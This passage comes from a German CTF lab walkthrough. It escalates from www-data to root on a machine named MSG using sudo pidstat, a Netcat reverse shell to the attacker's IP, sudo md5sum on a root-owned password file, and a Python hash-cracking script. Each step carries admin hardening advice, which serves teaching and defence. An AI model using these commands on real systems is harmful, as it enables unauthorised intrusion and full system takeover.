Bewertung: Keine neuen Angriffspunkte durch diese Überprüfung. Bestätigt die bereits bekannte Angriffsfläche.
Empfehlung (Pentester): Manchmal lauschen Dienste nur auf `127.0.0.1`. Dies war hier nicht der Fall, ist aber immer eine Überprüfung wert.
Empfehlung (Admin): Regelmäßige Überprüfung der lauschenden Dienste ist eine gute Sicherheitspraxis, um sicherzustellen, dass keine unautorisierten Dienste laufen.
Der wichtigste Befehl zur Privilegieneskalation unter Linux ist `sudo -l`, um zu prüfen, welche Befehle der aktuelle Benutzer mit `sudo` ohne Passwort ausführen darf.
Matching Defaults entries for www-data on MSG:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on MSG:
(messagemaster) NOPASSWD: /bin/pidstat
Das ist ein sehr interessanter Fund! Der Benutzer `www-data` darf `/bin/pidstat` als Benutzer `messagemaster` ohne Passwort ausführen. GTFOBins ([Link: https://gtfobins.github.io/gtfobins/pidstat/#sudo | Ziel: https://gtfobins.github.io/gtfobins/pidstat/#sudo]) zeigt, wie dies ausgenutzt werden kann, um Befehle als `messagemaster` auszuführen, indem der auszuführende Befehl in der Umgebungsvariable `COMMAND` übergeben wird, die `pidstat` dann mit `-e $COMMAND` versucht zu starten.
uid=1000(messagemaster) gid=1000(messagemaster) groups=1000(messagemaster),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),111(bluetooth)
Analyse: Die Ausgabe von `sudo -l` ist eindeutig: `www-data` kann `/bin/pidstat` als `messagemaster` ohne Passwort ausführen (`NOPASSWD`).
Der auf GTFOBins beschriebene Trick besteht darin, dass `pidstat` mit der Option `-e
Bewertung: Dies ist ein klarer Weg zur horizontalen Privilegieneskalation zum Benutzer `messagemaster`. Von `www-data` zu `messagemaster` ist ein Fortschritt, da `messagemaster` potenziell andere Rechte oder Zugriff auf andere Dateien hat.
Empfehlung (Pentester): Nutzen Sie diesen Trick, um eine Shell als `messagemaster` zu erhalten. Ein gängiger Weg wäre, einen Reverse-Shell-Befehl in die `COMMAND`-Variable zu schreiben oder ein Skript mit einem Reverse-Shell-Payload auf das Zielsystem hochzuladen, es ausführbar zu machen und dann über `COMMAND=./script.sh` via `pidstat` auszuführen.
Empfehlung (Admin): Diese `sudo`-Regel ist extrem unsicher. Wenn `pidstat` über `sudo` erlaubt werden muss, dann nur ohne Optionen, die die Ausführung anderer Programme ermöglichen, oder mit strikt definierten, harmlosen Optionen. Die Möglichkeit, beliebige Befehle über Umgebungsvariablen in `sudo`-aufgerufene Programme einzuschleusen, ist ein bekanntes Risiko. `secure_path` ist eine gute Maßnahme, aber hier nicht ausreichend. Generell sollten `sudo`-Regeln so spezifisch und restriktiv wie möglich sein.
Ich versuche nun, eine Reverse Shell als `messagemaster` zu bekommen. Zuerst erstelle ich ein Shell-Skript `/tmp/shell.sh` auf dem Zielsystem, das eine Netcat-basierte Reverse Shell zu meinem Angreifer-PC auf Port 4445 startet. Dann mache ich es ausführbar.
Dann setze ich `COMMAND` auf den Pfad zu diesem Skript und führe `pidstat` über `sudo` als `messagemaster` aus. Zuvor starte ich natürlich einen neuen Netcat-Listener auf Port 4445.
listening on [any] 4445 ... connect to [192.168.2.199] from (UNKNOWN) [192.168.2.206] 42350 id uid=1000(messagemaster) gid=1000(messagemaster) groups=1000(messagemaster),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),111(bluetooth)
Analyse: Die Schritte waren: 1. Erstellen eines Shell-Skripts (`shell.sh`) in `/tmp` auf dem Zielsystem, das den Befehl `nc -e /bin/bash 192.168.2.199 4445` enthält. Dieser Netcat-Befehl startet eine Bash-Shell und leitet deren Ein-/Ausgabe an die IP-Adresse meines Angreifer-PCs (192.168.2.199) auf Port 4445. 2. Das Skript wird mit `chmod +x shell.sh` ausführbar gemacht. 3. Auf meinem Angreifer-PC wird ein Netcat-Listener auf Port 4445 gestartet. 4. Auf dem Zielsystem wird `COMMAND=./shell.sh` gesetzt (wichtig: `./shell.sh` da es im aktuellen Verzeichnis `/tmp` liegt). 5. Schließlich wird `sudo -u messagemaster /bin/pidstat -e $COMMAND` ausgeführt. Dies veranlasst `pidstat`, das Skript `./shell.sh` als Benutzer `messagemaster` auszuführen. Das Ergebnis ist eine eingehende Verbindung auf meinem Listener, und der `id`-Befehl bestätigt, dass ich nun eine Shell als `messagemaster` habe.
Bewertung: Die horizontale Privilegieneskalation zu `messagemaster` war erfolgreich! Dies ist ein wichtiger Schritt näher am Ziel.
Empfehlung (Pentester): Führen Sie erneut `sudo -l` als `messagemaster` aus, um zu sehen, ob dieser Benutzer weitere `sudo`-Rechte hat, die zur Eskalation zu `root` führen könnten. Suchen Sie nach sensiblen Dateien im Home-Verzeichnis von `messagemaster`, SSH-Schlüsseln, Konfigurationsdateien mit Passwörtern etc.
Als Benutzer `messagemaster` prüfe ich erneut die `sudo`-Rechte.
Matching Defaults entries for messagemaster on MSG:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User messagemaster may run the following commands on MSG:
(ALL) NOPASSWD: /bin/md5sum
Perfekt! Der Benutzer `messagemaster` darf `/bin/md5sum` als JEDER Benutzer (`ALL`), einschließlich `root`, ohne Passwort ausführen. Dies ist ein bekannter Vektor zur Privilegieneskalation. Obwohl `md5sum` selbst keine direkten Schreib- oder Lesebefehle ausführt, kann es verwendet werden, um den Inhalt von Dateien zu lesen, wenn es mit der Option `md5sum /path/to/file` aufgerufen wird und diese Datei nicht direkt lesbar ist, aber der Zielbenutzer (hier `root`) Leserechte hat. Wir wissen, dass die Datei `/var/www/ROOTPASS` `root` gehört.
85c73111b30f9ede8504bb4a4b682f48 /var/www/ROOTPASS
Analyse: Die `sudo -l` Ausgabe für `messagemaster` zeigt `(ALL) NOPASSWD: /bin/md5sum`. Das bedeutet, `messagemaster` kann `md5sum` als jeder beliebige Benutzer (wegen `(ALL)`) ohne Passworteingabe ausführen. Der Befehl `sudo -u root /bin/md5sum /var/www/ROOTPASS` führt `md5sum` als Benutzer `root` auf die Datei `/var/www/ROOTPASS` aus. Da `root` Leserechte auf diese Datei hat, kann `md5sum` sie öffnen, ihren Inhalt lesen, den MD5-Hash berechnen und diesen ausgeben. Die Ausgabe ist `85c73111b30f9ede8504bb4a4b682f48 /var/www/ROOTPASS`. Dies ist der MD5-Hash des Inhalts der Datei `/var/www/ROOTPASS`.
Bewertung: Obwohl ich den Inhalt der Datei nicht direkt sehe, habe ich nun den MD5-Hash des Inhalts. Wenn der Inhalt ein einfaches Passwort ist, kann dieser Hash möglicherweise mit Tools wie `hashcat` oder Online-Rainbow-Tables geknackt werden. Dies ist ein signifikanter Fortschritt auf dem Weg zu Root-Rechten.
Empfehlung (Pentester): Versuchen Sie, den MD5-Hash `85c73111b30f9ede8504bb4a4b682f48` mit `hashcat` und gängigen Wortlisten (z.B. `rockyou.txt`) zu knacken. Wenn das Passwort geknackt werden kann, haben Sie möglicherweise das Root-Passwort.
Empfehlung (Admin): Diese `sudo`-Regel ist extrem gefährlich. `md5sum` (oder ähnliche Hashing-Tools wie `sha256sum`, `cat`, `less`, `more`, etc.) sollten niemals mit `sudo` so konfiguriert werden, dass sie den Zugriff auf beliebige Dateien als ein anderer Benutzer ermöglichen, schon gar nicht als `root` und mit `NOPASSWD`. Dies ist eine direkte Einladung zur Privilegieneskalation. Überprüfen Sie alle `sudo`-Regeln sorgfältig auf solche Schwachstellen.
Ich versuche nun, den erhaltenen MD5-Hash `85c73111b30f9ede8504bb4a4b682f48` mit `hashcat` und der `rockyou.txt`-Wortliste zu knacken. Ich speichere den Hash in einer Datei namens `hashe`.
hashcat (v6.2.6) starting You have enabled --force to bypass dangerous warnings and errors! This can hide serious problems and should only be done when debugging. Do not report hashcat issues encountered when using --force. OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project] ==================================================================================================================================================== * Device #1: cpu-haswell-AMD Ryzen 9 5950X 16-Core Processor, 23750/47565 MB (8192 MB allocatable), 12MCU Minimum password length supported by kernel: 0 Maximum password length supported by kernel: 256 Hashes: 1 digests; 1 unique digests, 1 unique salts Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates Rules: 77 Optimizers applied: * Zero-Byte * Early-Skip * Not-Salted * Not-Iterated * Single-Hash * Single-Salt * Raw-Hash ATTENTION! Pure (unoptimized) backend kernels selected. Pure kernels can crack longer passwords, but drastically reduce performance. If you want to switch to optimized kernels, append -O to your commandline. See the above message to find out about the exact limits. Watchdog: Temperature abort trigger set to 90c Initializing backend runtime for device #1. Please be patient... Host memory required for this attack: 3 MB Dictionary cache built: * Filename..: /usr/share/wordlists/rockyou.txt * Passwords.: 14344485 * Bytes.....: 139923053 * Keyspace..: 1104524806 * Runtime...: 0 secs Cracking performance lower than expected? * Append -O to the commandline. This lowers the maximum supported password/salt length (usually down to 32). * Append -w 3 to the commandline. This can cause your screen to lag. * Append -S to the commandline. This has a drastic speed impact but can be better for specific attacks. Typical scenarios are a small wordlist but a large ruleset. * Update your backend API runtime / driver the right way: [Link: https://hashcat.net/faq/wrongdriver | Ziel: https://hashcat.net/faq/wrongdriver] * Create more work items to make use of your parallelization power: [Link: https://hashcat.net/faq/morework | Ziel: https://hashcat.net/faq/morework] Approaching final keyspace - workload adjusted. Session..........: hashcat Status...........: Exhausted Hash.Mode........: 0 (MD5) Hash.Target......: 85c73111b30f9ede8504bb4a4b682f48 Time.Started.....: Fri May 30 01:24:14 2025, (15 secs) Time.Estimated...: Fri May 30 01:24:29 2025, (0 secs) Kernel.Feature...: Pure Kernel Guess.Base.......: File (/usr/share/wordlists/rockyou.txt) Guess.Mod........: Rules (/usr/share/hashcat/rules/best64.rule) Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 77164.1 kH/s (10.87ms) @ Accel:1024 Loops:77 Thr:1 Vec:8 Recovered........: 0/1 (0.00%) Digests (total), 0/1 (0.00%) Digests (new) Progress.........: 1104524806/1104524806 (100.00%) Rejected.........: 0/1104524806 (0.00%) Restore.Point....: 14344478/14344478 (100.00%) Restore.Sub.#1...: Salt:0 Amplifier:0-77 Iteration:0-77 Candidate.Engine.: Device Generator Candidates.#1....: $HEX[2163687572726f31] -> $HEX[04a156616d6f] Hardware.Mon.#1..: Util: 86% Started: Fri May 30 01:24:03 2025 Stopped: Fri May 30 01:24:29 2025
Analyse: `hashcat` wurde mit folgenden Optionen verwendet:
- `-m 0`: Hash-Modus MD5.
- `-a 0`: Angriffsmodus Straight (Wörterbuchangriff).
- `hashe`: Die Datei, die den zu knackenden Hash enthält.
- `/usr/share/wordlists/rockyou.txt`: Die verwendete Wortliste.
- `-r /usr/share/hashcat/rules/best64.rule`: Eine Regeldatei, die Wortmutationen durchführt, um die Chancen zu erhöhen, das Passwort zu finden.
- `--force`: Umgeht Warnungen (hier z.B. wegen der CPU-Nutzung als OpenCL-Device).
Bewertung: Dies ist ein Rückschlag. Es ist möglich, dass das Passwort nicht in `rockyou.txt` enthalten ist, komplexer ist oder dass der Inhalt der `ROOTPASS`-Datei nicht einfach nur das Passwort im Klartext war, sondern vielleicht mit einem Zeilenumbruch oder anderen nicht sichtbaren Zeichen, die `md5sum` mitgehasht hat.
Empfehlung (Pentester): Da `md5sum` oft auch den Zeilenumbruch am Ende einer Textzeile mit hasht, sollte man versuchen, den Hash eines Passworts *mit* einem angehängten Newline-Zeichen (`\n`) zu knacken. Dies erfordert oft ein eigenes Skript, da Standard-Wortlisten und `hashcat`-Regeln dies nicht immer direkt abdecken. Man könnte auch andere Wortlisten oder komplexere Regelwerke ausprobieren.
Da `hashcat` mit den Standardregeln nicht erfolgreich war, vermute ich, dass `md5sum` möglicherweise einen Zeilenumbruch (`\n`) am Ende des Passworts in der Datei `/var/www/ROOTPASS` mitgehasht hat. Ich erstelle ein einfaches Python-Skript (`crack.py`), das jedes Wort aus `rockyou.txt` nimmt, ein Newline-Zeichen anhängt, den MD5-Hash davon berechnet und mit dem Zielhash vergleicht.
import hashlib
target_hash = "85c73111b30f9ede8504bb4a4b682f48"
password_found = False # Eine Variable, um zu verfolgen, ob wir es gefunden haben
# Stelle sicher, dass der Pfad zu rockyou.txt korrekt ist
wordlist_path = "/usr/share/wordlists/rockyou.txt"
try:
with open(wordlist_path, "r", encoding='utf-8', errors='ignore') as file:
print(f"Starting search in {wordlist_path} for hash {target_hash}...")
for line_number, line in enumerate(file, 1):
word = line.strip()
# Deine Logik: Wort + Newline
candidate_string = word + "\n"
hash_password = hashlib.md5(candidate_string.encode('utf-8')).hexdigest()
if hash_password == target_hash:
print(f"\n!!! Password FOUND !!!")
print(f"The word from rockyou.txt is: {word}")
print(f"(This means the content of ROOTPASS was: {word}\\n)")
password_found = True
break # Schleife verlassen, da Passwort gefunden wurde
# Fortschrittsanzeige (optional, aber hilfreich bei langen Listen)
if line_number % 1000000 == 0: # Alle 1 Mio. Wörter
print(f"Processed {line_number:,} words... Still searching.")
except FileNotFoundError:
print(f"Error: Wordlist not found at {wordlist_path}")
exit()
if not password_found:
print(f"\nPassword for hash {target_hash} not found in {wordlist_path} with the 'word + newline' logic.")
Starting search in /usr/share/wordlists/rockyou.txt for hash 85c73111b30f9ede8504bb4a4b682f48... Processed 1,000,000 words... Still searching. Processed 2,000,000 words... Still searching. Processed 3,000,000 words... Still searching. Processed 4,000,000 words... Still searching. Processed 5,000,000 words... Still searching. Processed 6,000,000 words... Still searching. Processed 7,000,000 words... Still searching. Processed 8,000,000 words... Still searching. Processed 9,000,000 words... Still searching. Processed 10,000,000 words... Still searching. !!! Password FOUND !!! The word from rockyou.txt is: Message5687 (This means the content of ROOTPASS was: Message5687\n)
Analyse: Das Python-Skript liest jedes Wort aus `rockyou.txt`, entfernt führende/nachfolgende Leerzeichen (`strip()`), hängt ein Newline-Zeichen (`\n`) an, berechnet den MD5-Hash der resultierenden Zeichenkette und vergleicht ihn mit dem Zielhash. Die Ausgabe zeigt, dass das Skript nach etwa 10 Millionen Versuchen erfolgreich war: Das Passwort ist `Message5687`. Das Skript bestätigt auch, dass der tatsächliche Inhalt der `ROOTPASS`-Datei `Message5687\n` (also das Passwort gefolgt von einem Zeilenumbruch) war.
Bewertung: Großartig! Die Hypothese mit dem Newline-Zeichen war korrekt, und das Root-Passwort konnte erfolgreich geknackt werden. Dies ist der Schlüssel zur vollständigen Kompromittierung des Systems.
Empfehlung (Pentester): Verwenden Sie das gefundene Passwort `Message5687`, um sich als `root` auf dem Zielsystem anzumelden (z.B. mit `su root` in der bestehenden `messagemaster`-Shell).
Empfehlung (Admin): Dies unterstreicht erneut, warum Passwörter niemals im Klartext gespeichert werden sollten und wie wichtig es ist, die genaue Funktionsweise von Tools wie `md5sum` zu verstehen (dass sie z.B. Newlines mit hashen). Root-Passwörter sollten extrem stark und einzigartig sein und nicht leicht zu erraten oder in Wortlisten zu finden sein. Überlegen Sie den Einsatz von passwortlosen Authentifizierungsmethoden für `root` (z.B. SSH-Schlüssel) oder die Beschränkung des direkten Root-Logins.
Mit dem geknackten Passwort `Message5687` versuche ich nun, über `su root` in meiner `messagemaster`-Shell Root-Rechte zu erlangen.
Password: (Hier wurde Message5687 eingegeben)
uid=0(root) gid=0(root) groups=0(root)
Fantastisch, der Root-Zugriff war erfolgreich! Nun habe ich das Ziel erreicht. Ich stabilisiere die Shell noch für eine bessere Interaktion.
total 28
drwx------ 4 root root 4096 Nov 22 2022 .
drwxr-xr-x 18 root root 4096 Nov 12 2022 ..
-rw------- 1 root root 0 Nov 29 2022 .bash_history
-rw-r--r-- 1 root root 571 Apr 11 2021 .bashrc
drwxr-xr-x 3 root root 4096 Nov 18 2022 .cache
drwxr-xr-x 3 root root 4096 Nov 17 2022 .local
-rw-r--r-- 1 root root 161 Jul 9 2019 .profile
-rw-r----- 1 root root 33 Nov 22 2022 Root.txt
Analyse: Der Befehl `su root` wurde ausgeführt, und nach Eingabe des Passworts `Message5687` wurde der Benutzer erfolgreich zu `root` gewechselt. Der `id`-Befehl bestätigt dies mit `uid=0(root)`. Die Befehle `export TERM=xterm` und `python3 -c "import pty;pty.spawn('/bin/bash')"` dienen dazu, die einfache Netcat-Shell in eine interaktivere Shell mit besserer Terminalunterstützung (z.B. Autovervollständigung, History-Navigation, Clear Screen) umzuwandeln. Anschließend wurde in das Home-Verzeichnis des Root-Benutzers gewechselt (`cd ~`) und dessen Inhalt aufgelistet. Dort befindet sich die Datei `Root.txt`.
Bewertung: Volle Systemkompromittierung! Der Zugriff als `root` ist der höchste Grad an Kontrolle über ein Linux-System. Alle Ziele des Penetrationstests in Bezug auf den Systemzugriff wurden erreicht.
Empfehlung (Pentester): Lesen Sie den Inhalt der `Root.txt`-Datei (und ggf. der `User.txt`-Datei, falls noch nicht geschehen), um die Flags für den CTF zu erhalten. Dokumentieren Sie alle Schritte und Schwachstellen. Sichern Sie Beweise (Screenshots, Log-Auszüge).
Empfehlung (Admin): Nach einer solchen Kompromittierung ist das System als unsicher zu betrachten. Es sollte vom Netz genommen, analysiert (Forensik) und neu aufgesetzt werden. Alle gefundenen Schwachstellen (Command Injection, unsichere `sudo`-Regeln, Klartextpasswörter/knackbare Hashes) müssen in der neuen Installation behoben werden. Überprüfen Sie alle Benutzerkonten und Passwörter. Implementieren Sie ein robustes Logging und Monitoring, um zukünftige Angriffe schneller zu erkennen.